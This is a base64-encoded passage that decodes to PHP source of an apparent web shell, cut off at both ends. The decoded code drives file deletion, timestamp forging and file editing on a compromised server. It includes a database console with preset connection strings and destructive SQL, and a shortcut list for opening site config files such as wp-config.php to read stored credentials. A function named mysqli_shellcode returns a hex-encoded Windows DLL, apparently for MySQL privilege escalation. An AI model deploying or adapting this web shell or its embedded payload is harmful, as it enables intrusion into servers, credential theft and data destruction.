ZmlybShzbXNnKSl7CgkJCVVSTCA9IHVybCArIG1zZzsKCQkJd2luZG93LmxvY2F0aW9uID0gdXJsOwoJCX0KCX0KCWZ1bmN0aW9uIERlbG9rKG1zZyxnb3VybCkKCXsKCQlzbXNnID0gIsi3tqjSqsm+s/1bIiArIHVuZXNjYXBlKG1zZykgKyAiXcLwPyI7CgkJaWYoY29uZmlybShzbXNnKSkKCQl7CgkJCWlmKGdvdXJsID09IFwnYlwnKQoJCQl7CgkJCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZChcJ2FjdGFsbFwnKS52YWx1ZSA9IGVzY2FwZShnb3VybCk7CgkJCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZChcJ2ZpbGVhbGxcJykuc3VibWl0KCk7CgkJCX0KCQkJZWxzZSB3aW5kb3cubG9jYXRpb24gPSBnb3VybDsKCQl9Cgl9CglmdW5jdGlvbiBDaGVja0FsbChmb3JtKQoJewoJCWZvcih2YXIgaT0wO2k8Zm9ybS5lbGVtZW50cy5sZW5ndGg7aSsrKQoJCXsKCQkJdmFyIGUgPSBmb3JtLmVsZW1lbnRzW2ldOwoJCQlpZiAoZS5uYW1lICE9IFwnY2hrYWxsXCcpCgkJCWUuY2hlY2tlZCA9IGZvcm0uY2hrYWxsLmNoZWNrZWQ7CgkJfQoJfQoJZnVuY3Rpb24gQ2hlY2tEYXRlKG1zZyxnb3VybCkKCXsKCQlzbXNnID0gIrWxx7DOxLz+yrG85DpbIiArIG1zZyArICJdIjsKCQlyZSA9IHByb21wdChzbXNnLG1zZyk7CgkJaWYocmUpCgkJewoJCQl2YXIgdXJsID0gZ291cmwgKyByZTsKCQkJdmFyIHJlZyA9IC9eKFxcZHsxLDR9KSgtfFxcLykoXFxkezEsMn0pXFwyKFxcZHsxLDJ9KSAoXFxkezEsMn0pOihcXGR7MSwyfSk6KFxcZHsxLDJ9KSQvOwoJCQl2YXIgciA9IHJlLm1hdGNoKHJlZyk7CgkJCWlmKHI9PW51bGwpe2FsZXJ0KFwnyNXG2rjxyr2yu9X9yLchuPHKvTp5eXl5LW1tLWRkIGhoOm1tOnNzXCcpO3JldHVybiBmYWxzZTt9CgkJCWVsc2V7ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoXCdhY3RhbGxcJykudmFsdWUgPSBnb3VybDsgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoXCdpbnZlclwnKS52YWx1ZSA9IHJlOyBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChcJ2ZpbGVhbGxcJykuc3VibWl0KCk7fQoJCX0KCX0KCWZ1bmN0aW9uIFN1Ym1pdFVybChtc2csdHh0LGFjdGlkKQoJewoJCXJlID0gcHJvbXB0KG1zZyx1bmVzY2FwZSh0eHQpKTsKCQlpZihyZSkKCQl7CgkJCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKFwnYWN0YWxsXCcpLnZhbHVlID0gYWN0aWQ7CgkJCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKFwnaW52ZXJcJykudmFsdWUgPSBlc2NhcGUocmUpOwoJCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZChcJ2ZpbGVhbGxcJykuc3VibWl0KCk7CgkJfQoJfScpOwogICAgfSBlbHNlaWYgKCRudW0gPT0gIjIiKSB7CiAgICAgICAgaHRtbF9uKCd2YXIgTlM0ID0gKGRvY3VtZW50LmxheWVycyk7CnZhciBJRTQgPSAoZG9jdW1lbnQuYWxsKTsKdmFyIHdpbiA9IHRoaXM7CnZhciBuID0gMDsKZnVuY3Rpb24gc2VhcmNoKHN0cil7Cgl2YXIgdHh0LCBpLCBmb3VuZDsKCWlmKHN0ciA9PSAiIilyZXR1cm4gZmFsc2U7CglpZihOUzQpewoJCWlmKCF3aW4uZmluZChzdHIpKSB3aGlsZSh3aW4uZmluZChzdHIsIGZhbHNlLCB0cnVlKSkgbisrOyBlbHNlIG4rKzsKCQlpZihuID09IDApIGFsZXJ0KHN0ciArICIgLi4uIE5vdC1GaW5kIikKCX0KCWlmKElFNCl7CgkJdHh0ID0gd2luLmRvY3VtZW50LmJvZHkuY3JlYXRlVGV4dFJhbmdlKCk7CgkJZm9yKGkgPSAwOyBpIDw9IG4gJiYgKGZvdW5kID0gdHh0LmZpbmRUZXh0KHN0cikpICE9IGZhbHNlOyBpKyspewoJCQl0eHQubW92ZVN0YXJ0KCJjaGFyYWN0ZXIiLCAxKTsKCQkJdHh0Lm1vdmVFbmQoInRleHRlZGl0IikKCQl9CgkJaWYoZm91bmQpe3R4dC5tb3ZlU3RhcnQoImNoYXJhY3RlciIsIC0xKTt0eHQuZmluZFRleHQoc3RyKTt0eHQuc2VsZWN0KCk7dHh0LnNjcm9sbEludG9WaWV3KCk7bisrfQoJCWVsc2V7aWYgKG4gPiAwKXtuID0gMDtzZWFyY2goc3RyKX1lbHNlIGFsZXJ0KHN0ciArICIuLi4gTm90LUZpbmQiKX0KCX0KCXJldHVybiBmYWxzZQp9CmZ1bmN0aW9uIENoZWNrRGF0ZSgpewoJdmFyIHJlID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoXCdtdGltZVwnKS52YWx1ZTsKCXZhciByZWcgPSAvXihcXGR7MSw0fSkoLXxcXC8pKFxcZHsxLDJ9KVxcMihcXGR7MSwyfSkgKFxcZHsxLDJ9KTooXFxkezEsMn0pOihcXGR7MSwyfSkkLzsKCXZhciByID0gcmUubWF0Y2gocmVnKTsKCXZhciB0ID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoXCdjaGFyc2V0XCcpLnZhbHVlOwogICAgdCA9IHQudG9Mb3dlckNhc2UoKTsKCWlmKHI9PW51bGwpe2FsZXJ0KFwnyNXG2rjxyr2yu9X9yLchuPHKvTp5eXl5LW1tLWRkIGhoOm1tOnNzXCcpO3JldHVybiBmYWxzZTt9CgllbHNle2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKFwnbmV3ZmlsZVwnKS52YWx1ZSA9IGJhc2U2NGVuY29kZShkb2N1bWVudC5nZXRFbGVtZW50QnlJZChcJ25ld2ZpbGVcJykudmFsdWUpOwoJaWYodD09InV0Zi04Iil7ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoXCd0eHRcJykudmFsdWUgPSBiYXNlNjRlbmNvZGUodXRmMTZ0bzgoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoXCd0eHRcJykudmFsdWUpKTt9CicpOwogICAgICAgIGlmIChzdWJzdHIoUEhQX1ZFUlNJT04sIDAsIDEpID49IDUpIHsKICAgICAgICAgICAgaHRtbF9uKCdpZih0PT0iZ2JrIiB8fCB0PT0iZ2IyMzEyIil7ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoXCd0eHRcJykudmFsdWUgPSBiYXNlNjRlbmNvZGUodXRmMTZ0bzgoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoXCd0eHRcJykudmFsdWUpKTt9Jyk7CiAgICAgICAgfQogICAgICAgIGh0bWxfbignCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZChcJ2VkaXRvclwnKS5zdWJtaXQoKTt9Cn0nKTsKICAgIH0gZWxzZWlmICgkbnVtID09ICIzIikgewogICAgICAgIGh0bWxfbignZnVuY3Rpb24gRnVsbChpKXsKICAgaWYoaT09MCB8fCBpPT01KXsKICAgICByZXR1cm4gZmFsc2U7CiAgIH0KICBTdHIgPSBuZXcgQXJyYXkoMTIpOwoJU3RyWzFdID0gIlByb3ZpZGVyPU1pY3Jvc29mdC5KZXQuT0xFREIuNC4wO0RhdGEgU291cmNlPVxkYi5tZGIiOwoJU3RyWzJdID0gIkRyaXZlcj17U3FsIFNlcnZlcn07U2VydmVyPSwxNDMzO0RhdGFiYXNlPURiTmFtZTtVaWQ9c2E7UHdkPSoqKioiOwoJU3RyWzNdID0gIkRyaXZlcj17TXlTcWx9O1NlcnZlcj07UG9ydD0zMzA2O0RhdGFiYXNlPURiTmFtZTtVaWQ9cm9vdDtQd2Q9KioqKiI7CglTdHJbNF0gPSAiUHJvdmlkZXI9TVNEQU9SQS4xO1Bhc3N3b3JkPcPcwus7VXNlciBJRD3VyrrFO0RhdGEgU291cmNlPbf+zvHD+ztQZXJzaXN0IFNlY3VyaXR5IEluZm89VHJ1ZTsiOwoJU3RyWzZdID0gIlNFTEVDVCAqIEZST00gW1RhYmxlTmFtZV0gV0hFUkUgSUQ8MTAwIjsKCVN0cls3XSA9ICJJTlNFUlQgSU5UTyBbVGFibGVOYW1lXShVU0VSLFBBU1MpIFZBTFVFUyhcJ3dlYnNpdGVfXCcsXCdteXBhc3NcJykiOwoJU3RyWzhdID0gIkRFTEVURSBGUk9NIFtUYWJsZU5hbWVdIFdIRVJFIElEPTEwMCI7CglTdHJbOV0gPSAiVVBEQVRFIFtUYWJsZU5hbWVdIFNFVCBVU0VSPVwnd2Vic2l0ZV9cJyBXSEVSRSBJRD0xMDAiOwoJU3RyWzEwXSA9ICJDUkVBVEUgVEFCTEUgW1RhYmxlTmFtZV0oSUQgSU5UIElERU5USVRZICgxLDEpIE5PVCBOVUxMLFVTRVIgVkFSQ0hBUig1MCkpIjsKCVN0clsxMV0gPSAiRFJPUCBUQUJMRSBbVGFibGVOYW1lXSI7CglTdHJbMTJdID0gIkFMVEVSIFRBQkxFIFtUYWJsZU5hbWVdIEFERCBDT0xVTU4gUEFTUyBWQVJDSEFSKDMyKSI7CglTdHJbMTNdID0gIkFMVEVSIFRBQkxFIFtUYWJsZU5hbWVdIERST1AgQ09MVU1OIFBBU1MiOwoJaWYoaTw9NCl7CgkgIERiRm9ybS5zdHJpbmcudmFsdWUgPSBTdHJbaV07CiAgfWVsc2V7CiAgCURiRm9ybS5zcWwudmFsdWUgPSBTdHJbaV07CiAgfQogIHJldHVybiB0cnVlOwogIH0nKTsKICAgIH0gZWxzZWlmICgkbnVtID09ICI0IikgewogICAgICAgIGh0bWxfbignZnVuY3Rpb24gRnVsbGwoaSl7CiAgIGlmKGk9PTApewogICAgIHJldHVybiBmYWxzZTsKICAgfQogIFN0ciA9IG5ldyBBcnJheSg4KTsKCVN0clsxXSA9ICJjb25maWcuaW5jLnBocCI7CglTdHJbMl0gPSAiY29uZmlnLmluYy5waHAiOwoJU3RyWzNdID0gImNvbmZpZ19iYXNlLnBocCI7CglTdHJbNF0gPSAiY29uZmlnLmluYy5waHAiOwoJU3RyWzVdID0gImNvbmZpZy5waHAiOwoJU3RyWzZdID0gIndwLWNvbmZpZy5waHAiOwoJU3RyWzddID0gImNvbmZpZy5waHAiOwoJU3RyWzhdID0gIm15c3FsLnBocCI7CglzZm9ybS5jb2RlLnZhbHVlID0gU3RyW2ldOwogIHJldHVybiB0cnVlOwogIH0nKTsKICAgIH0KICAgIGh0bWxfbignPC9zY3JpcHQ+Jyk7Cn0KCmZ1bmN0aW9uIGNzc19sZWZ0KCkKewogICAgaHRtbF9uKCc8c3R5bGUgdHlwZT0idGV4dC9jc3MiPgoJLm1lbnV7d2lkdGg6MTUycHg7bWFyZ2luLWxlZnQ6YXV0bzttYXJnaW4tcmlnaHQ6YXV0bzt9CgkubWVudSBkbHttYXJnaW4tdG9wOjJweDt9CgkubWVudSBkbCBkdHt0b3AgbGVmdCByZXBlYXQteDt9CgkubWVudSBkbCBkdCBhe2hlaWdodDoyMnB4O3BhZGRpbmctdG9wOjFweDtsaW5lLWhlaWdodDoxOHB4O3dpZHRoOjE1MnB4O2Rpc3BsYXk6YmxvY2s7Y29sb3I6I0ZGRkZGRjtmb250LXdlaWdodDpib2xkOwoJdGV4dC1kZWNvcmF0aW9uOm5vbmU7IDEwcHggN3B4IG5vLXJlcGVhdDt0ZXh0LWluZGVudDoyMHB4O2xldHRlci1zcGFjaW5nOjJweDt9CgkubWVudSBkbCBkdCBhOmhvdmVye2NvbG9yOiNGRkZGQ0M7fQoJLm1lbnUgZGwgZGQgdWx7bGlzdC1zdHlsZTpub25lO30KCS5tZW51IGRsIGRkIHVsIGxpIGF7Y29sb3I6IzAwMDAwMDtoZWlnaHQ6MjdweDt3aWRvd3M6MTUycHg7ZGlzcGxheTpibG9jaztsaW5lLWhlaWdodDoyN3B4O3RleHQtaW5kZW50OjI4cHg7CgliYWNrZ3JvdW5kOiNCQkJCQkIgbm8tcmVwZWF0IDEzcHggMTFweDtib3JkZXItY29sb3I6I0ZGRiAjNTQ1NDU0ICM1NDU0NTQgI0ZGRjsKCWJvcmRlci1zdHlsZTpzb2xpZDtib3JkZXItd2lkdGg6MXB4O30KCS5tZW51IGRsIGRkIHVsIGxpIGE6aG92ZXJ7YmFja2dyb3VuZDojRkZGIG5vLXJlcGVhdCAxM3B4IDExcHg7Y29sb3I6I0ZGNjYwMDtmb250LXdlaWdodDpib2xkO30KCTwvU1RZTEU+Jyk7CiAgICBodG1sX24oJzxzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQiPgoJZnVuY3Rpb24gZ2V0T2JqZWN0KG9iamVjdElkKXsKCSBpZihkb2N1bWVudC5nZXRFbGVtZW50QnlJZCAmJiBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChvYmplY3RJZCkpIHsKCSByZXR1cm4gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQob2JqZWN0SWQpOwoJIH0KCSBlbHNlIGlmIChkb2N1bWVudC5hbGwgJiYgZG9jdW1lbnQuYWxsKG9iamVjdElkKSkgewoJIHJldHVybiBkb2N1bWVudC5hbGwob2JqZWN0SWQpOwoJIH0KCSBlbHNlIGlmIChkb2N1bWVudC5sYXllcnMgJiYgZG9jdW1lbnQubGF5ZXJzW29iamVjdElkXSkgewoJIHJldHVybiBkb2N1bWVudC5sYXllcnNbb2JqZWN0SWRdOwoJIH0KCSBlbHNlIHsKCSByZXR1cm4gZmFsc2U7CgkgfQoJfQoJZnVuY3Rpb24gc2hvd0hpZGUob2JqbmFtZSl7CgkgIHZhciBvYmogPSBnZXRPYmplY3Qob2JqbmFtZSk7CgkgICAgaWYob2JqLnN0eWxlLmRpc3BsYXkgPT0gIm5vbmUiKXsKCQkJb2JqLnN0eWxlLmRpc3BsYXkgPSAiYmxvY2siOwoJCX1lbHNlewoJCQlvYmouc3R5bGUuZGlzcGxheSA9ICJub25lIjsKCQl9Cgl9Cgk8L3NjcmlwdD48ZGl2IGNsYXNzPSJtZW51Ij4nKTsKfQoKZnVuY3Rpb24gY3NzX21haW4oKQp7CiAgICBodG1sX24oJzxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+Cgkqe3BhZGRpbmc6MHB4O21hcmdpbjowcHg7fQoJYm9keSx0ZHtmb250LXNpemU6IDEycHg7Y29sb3I6IzAwZmYwMDtiYWNrZ3JvdW5kOiMyOTI5Mjk7fWlucHV0LHNlbGVjdCx0ZXh0YXJlYXtmb250LXNpemU6IDEycHg7YmFja2dyb3VuZC1jb2xvcjojRkZGRkNDO2JvcmRlcjoxcHggc29saWQgI2ZmZn0KCWJvZHl7Y29sb3I6I0ZGRkZGRjtmb250LWZhbWlseTpWZXJkYW5hLCBBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmOwoJaGVpZ2h0OjEwMCU7b3ZlcmZsb3cteTphdXRvO2JhY2tncm91bmQ6IzMzMzMzMztTQ1JPTExCQVItRkFDRS1DT0xPUjogIzIzMjMyMzsgU0NST0xMQkFSLUhJR0hMSUdIVC1DT0xPUjogIzIzMjMyMzsgU0NST0xMQkFSLVNIQURPVy1DT0xPUjogIzM4MzgzODsgU0NST0xMQkFSLURBUktTSEFET1ctQ09MT1I6ICMzODM4Mzg7IFNDUk9MTEJBUi0zRExJR0hULUNPTE9SOiAjMjMyMzIzOyBTQ1JPTExCQVItQVJST1ctQ09MT1I6ICNGRkZGRkY7U0NST0xMQkFSLVRSQUNLLUNPTE9SOiAjMzgzODM4O30KCWlucHV0LHNlbGVjdCx0ZXh0YXJlYXtiYWNrZ3JvdW5kLWNvbG9yOiNGRkZGQ0M7Ym9yZGVyOjFweCBzb2xpZCAjRkZGRkZGfQogICAgYXtjb2xvcjojZGRkO3RleHQtZGVjb3JhdGlvbjogbm9uZTt9YTpob3Zlcntjb2xvcjpyZWQ7YmFja2dyb3VuZDojMDAwfQoJLmFjdGFsbHtiYWNrZ3JvdW5kOiMwMDAwMDA7Zm9udC1zaXplOjE0cHg7Ym9yZGVyOjFweCBzb2xpZCAjOTk5OTk5O3BhZGRpbmc6MnB4O21hcmdpbi10b3A6M3B4O21hcmdpbi1ib3R0b206M3B4O2NsZWFyOmJvdGg7fQoJPC9TVFlMRT48Ym9keSBzdHlsZT0idGFibGUtbGF5b3V0OmZpeGVkOyB3b3JkLWJyZWFrOmJyZWFrLWFsbDsgRklMVEVSOiBwcm9naWQ6RFhJbWFnZVRyYW5zZm9ybS5NaWNyb3NvZnQuR3JhZGllbnQoZ3JhZGllbnRUeXBlPTAsc3RhcnRDb2xvclN0cj0jNjI2MjYyLGVuZENvbG9yU3RyPSMxQzFDMUMpIj4KCTx0YWJsZSB3aWR0aD0iODUlIiBib3JkZXI9MCBiZ2NvbG9yPSIjNTU1NTU1IiBhbGlnbj0iY2VudGVyIj4nKTsKfQoKZnVuY3Rpb24gY3NzX2Zvb3QoKQp7CiAgICBodG1sX24oJzwvdGQ+PC90cj48L3RhYmxlPicpOwp9CgpmdW5jdGlvbiBteXNxbGlfc2hlbGxjb2RlKCkKewogICAgcmV0dXJuICIweDRENUE5MDAwMDMwMDAwMDAwNDAwMDAwMEZGRkYwMDAwQjgwMDAwMDAwMDAwMDAwMDQwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMEU4MDAwMDAwMEUxRkJBMEUwMEI0MDlDRDIxQjgwMTRDQ0QyMTU0Njg2OTczMjA3MDcyNkY2NzcyNjE2RDIwNjM2MTZFNkU2Rjc0MjA2MjY1MjA3Mjc1NkUyMDY5NkUyMDQ0NEY1MzIwNkQ2RjY0NjUyRTBEMEQwQTI0MDAwMDAwMDAwMDAwMDBGMjk1MDIwOEI2RjQ2QzVCQjZGNDZDNUJCNkY0NkM1QjkxMzIxNzVCQjRGNDZDNUI5MTMyMTE1QkI3RjQ2QzVCOTEzMjAyNUJCNEY0NkM1QjkxMzIwMTVCQkJGNDZDNUI3NUZCMzE1QkI1RjQ2QzVCQjZGNDZENUI5QUY0NkM1QjkxMzIxRDVCQjdGNDZDNUI5MTMyMTY1QkI3RjQ2QzVCOTEzMjE0NUJCN0Y0NkM1QjUyNjk2MzY4QjZGNDZDNUIwMDAwMDAwMDAwMDAwMDAwNTA0NTAwMDA0QzAxMDMwMDRFMTBBMzREMDAwMDAwMDAwMDAwMDAwMEUwMDAwMjIxMEIwMTA4MDAwMDEwMDAwMDAwMTAwMDAwMDA2MDAwMDBEMDdCMDAwMDAwNzAwMDAwMDA4MDAwMDAwMDAwMDAxMDAwMTAwMDAwMDAwMjAwMDAwNDAwMDAwMDAwMDAwMDAwMDQwMDAwMDAwMDAwMDAwMDAwOTAwMDAwMDAxMDAwMDAwMDAwMDAwMDAyMDAwMDAwMDAwMDEwMDAwMDEwMDAwMDAwMDAxMDAwMDAxMDAwMDAwMDAwMDAwMDEwMDAwMDAwNzg4MjAwMDAwODAyMDAwMEIwODEwMDAwQzgwMDAwMDAwMDgwMDAwMEIwMDEwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDA4MDg0MDAwMDEwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDlDN0QwMDAwNDgwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDU1NTA1ODMwMDAwMDAwMDAwMDYwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA0MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDgwMDAwMEUwNTU1MDU4MzEwMDAwMDAwMDAwMTAwMDAwMDA3MDAwMDAwMDBFMDAwMDAwMDQwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwNDAwMDAwRTAyRTcyNzM3MjYzMDAwMDAwMDAxMDAwMDAwMDgwMDAwMDAwMDYwMDAwMDAxMjAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDA0MDAwMDBDMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDMzMkUzMDM1MDA1NTUwNTgyMTBEMDkwMjA5NDdBMzdCNDdGQUU2MTAxOTQ2NTUwMDAwQzkwQjAwMDAwMDIwMDAwMDI2MDAwMEE0RkZGRkZGRkY4QjRDMjQwODMzQzAzOTAxNzQxNjU2NTc4QjdDMjQxNDZBMEM1OUJFMDAwMDEwRENGM0E1NjZBNTVGQjAwMTVFQUVGREJCRkRDM0MzOEI0NDI0MEMxQjZBMDcxNzExMTA4QkY4MTkzM0ZGREZFREI3MTgxREE0NUZDNzAxMUUxMjAwNUUyMTA4ODMzODAxNzUxMjhCNDAwNDBERjY3NzZGMDcwMDc1MEExMDA0QzYwMDAxMzJDMEMzNTQwQTZGMkZGNjhEM0MzMDU0QTQ1NTMyMkQwOEZGMzBCRkJERkJEREZGMTU2RDg4ODVDMDU5NzUwODU2MTRDNjAxMDExQkM4NTY4RDcxMDFGRkRCQjdGRjhBMTE0MTg0RDI3NUY5OEI1NDE0MkJDRTg5MEEzMjU1OEJFQzhCNEQwQzgzMzkwMjJEMzZEODZGNTM3NDE0OEI3RDEwOTE1QzU0NTM2RjY3RUZGN0VCNEM4QjQxN0Q3NDBGMUI3MDdDMUJFQkU1ODM2NkVDRkZFRDYwMDQwMDFBMEM4QjQ4MDQ4QjAwOEQ0NDAxMDI1MDcyQTAzN0YyREQ2RTRFMDg4OTE4NzUxMTMwMDZBNDRDREQ5NkVGRURFQkIyQjg1RjVFNURBMzA0MEMyODc0MDhEQkY2Qzc5RTMzQTg1OTEzNTM1NjhCNzQyNDEwRDg3ODUzNDZCQjcwN0I2QjAyQjY0NjA4NTFDNzhENUM0MzU3RTgyNENFRERGRDc3MEFCODE0MDBDNjA0MDcwMDA4RkY3MDA0MUUwNTc2N0I0M0IyNTMxQTIyQzQxODUzNTcyMDAzMDA1NDQxMjZFMTM2MDg2QTk5NUI0MjBCN0U3ODBBODQwMzNCOTg1OTk5MUE4M0VDMENGQjVCRkJFQjk3MzVEOTU3NjgwMEYxNUNENjZBMDE4OTQ1RkMwNkJCNzVERDdGOEJGMDhCNDUwQ0M2MDYwMDMyNjg0OEMwMzczM0ZGMzk2REVERUYxRTlDOEIxRDA1OTA1MDZBMDRGRjc1RkMyQUFDRDM3RDJFQkNCRDk5MUNFQjQwMkRGQzhENDg3RTEwNDAyQkMxQjY4RDZEQkYxOEY4MDNDNzUwNTYwNkY0MzQ4QzJCRjg1MUJCQjVCMUJCMzAwM0ZFNTcxMDk0MEJENDdERjQ0NDYzRUVDMjE3NDEyMDJGNzVCQzEzMUNBNDBCMDNGQkZGODAzRTAwNTk3NDFBOEJDNkM2NDQzN0ZGMDA1NjdCMTRERjNBQjY4NTg5QjMwNjZDMTgyODVGMjA1RTVCQzlDM0Q2QjZBRTczRjNDOTUxRjc3RDUyNDdFMzMwNkREQjJDQ0I1MDA4QzlDMjZBOThGMEJGMTcyNkI0QjcxMDU0OEQ0NjAxQjIzQjVDNEYwOEVEREIwOUVFNTZGRjMxQkJBMDk0N0UwQzZBRkY4REMwODJCNTVEN0IyMDgyRUUwMkY4MDkyQzBGREJDNkMxMjMwMDVGRUU1RTZCNkEwQzEyNUU1OEY4ODY5MDk2MDk4NDgzNjVGQzFENDU1MEQwRUIwNzVCRDg1RUQ4MUI0MDVGNjVFOEM3NDJGRTI0RkYwRDBCREI4NTVGMUZDOUMyNEUzQjBEMDgyMDk2MDJEQkNFRkVFREYzQzNFOTA4MDY1NTU2Njg4MDAwMDA1NjgwOTY1NjA4QjhCRkNCMUY4NDg1RjY1OTU5QTMyMzU0MDQ1MDc1MDU0QkZFRUQ3NjJGQUM4MzI2MDA0MzA4MTY2RDA4M0UwOTA0QzcwNDI0RkYwOThGREQwNjA3NUQwQjU5MzNDMENGNTUzM0VEM0JDNTc1MEVERDdGODVERDM5MkQ2NjEwN0UyQjZFMTA4M0Y4MDE4QjA4MTBERDdENzdFMTU0OEIwOURCNTc4OTBBMjM0NDBGODVDQzc5NjRBMTE4NzcxQzYxQzMwNTgxMDRDMjM4NTUyMTIzNENFQjBERjZERkI1MTg0RDlEMDUxQTNCQzc3NDE3NjhFODAzQTAzQ0VFNzZDM0I2RkY1N0ExRDM5NkU3RUIwMzY2NDVBMTJCQjdGQkZCQjc0ODBENkEwMjVGNzQwOTZBMUZFMDU2RUIzQzlFMTBDODA0NjBGQURDRjdDMEM3MDUxRjAxNUUxQTUwMjY3RkRGNzdCNkMwMDc1ODE3MjBCQzA0QjgxQjRBNTk4OUY3ODRBNkIxM0Q0QkVEQkM1NTA0NDA4MzEyQzk3REVGRDI1ODg1MUU2ODA3RTRERTQyOTRCQkJENzc2OUZGMzIxQzU3MDQyNjE4RkYwNUUwQkQ2RjZCREY1NDE0RjdEMzhFQ0QzRENBQjZDNjgwOURDOTBCQkU1NUM3NUJENzgzQkQxMEVCQkVFQkI5MTQwMjc0MEFCNzU5QkU4RDFEQjZFQjQ4MzU3MTNCNzgyNThCRDg4NURCQjhCNDEwREI2QzM0MTRFRUQ3RTFGOEVCRjQ1RjY4REE0NjA3QzEwMkRDODNFRjA0M0JGQjczRjE1MzA4MTFDNjgyQ0EwNjdDQUFCNDMwN0IxQjg1MjVFMzJENjBDNzdDNkM3Q0M5QkM5ODVCNURDMjBDM0UxMDI5Mjg2RkI4NkY4RDhCOEZGMjhCNUQwODFDNzNFNDMzQzlGMDREQkJEMjg5NEQzNzZBMjAwODY4M0JGMTc1MTAzOUZGQzc1Njg4QjYwQzE3RTQyNjEwM0JGMDc0MDU4M0ZFNUJBMUY1RUUwMjc1MkVCOTEwRDAzQkMxNDg4OTdGRDBEQjM5Rjc3NzNCODM3REU0MDAwRjg0OTNGNjExNUEwMzdGMTQ3RDI3RDk5QUE3MTI4MDA5NjIyN0ZFQUM5RERENkQxMzI0RkIyMDU3NTAxMzU3QTcyRjhERjZCQUQ4NTJEOTA2MTE1MzdDNjdCQjYxN0Y2QTAzNzU0MzRGMzQwMzIxNjg3NDZEM0NFQ0IwMkUyQzI1N0ZFQjFCRjBFQ0EzRjBCRDc1QkIwOUFBRTA1MDUxNTk1Q0U3Rjk0MTNBQjVEMjBCMkYwRjAxM0Q0NkRBNzYxOTA2MjkyQUU0MDdDMzFCNkQ1QjhEQUVFQzE2RkZENzlBMDg5QTA1MkNEMDMwN0NENjAwRDY4OEJDMTA5QjBDNzcwREFCMEMxMDA1MUU1OTM2Qzk4MUVDRTE4RjBEODYyOEM1NUQyMTIwQkMyMTFDODk1QTNGM0VFQ0I4MjExODg5QjMyMTE0MzgyMTEwNDEyMTBDN0RFRDZCREY2NjhDMTgzODA2MjUyQzA2MjAwOEE5MzQ0QkIzMDYwNTA0MjUwMDFBNkM2M0VERkJGQzlDOEYxNDMwOTE1NjI0MDcwNEFDRkRCN0Y0MjhGMjA4MDczNDhCODVFMEZDOUNBNkI2N0I1QjYzNzBDMjAxQTExQzE5MjAyNDEzNzc4RTUxM0ExODA5QzlFMDIwMUMxREIzN0NFRTI1RDM4OTg1RDgzMjBBMDREQzdFOEQ2RjA0RkY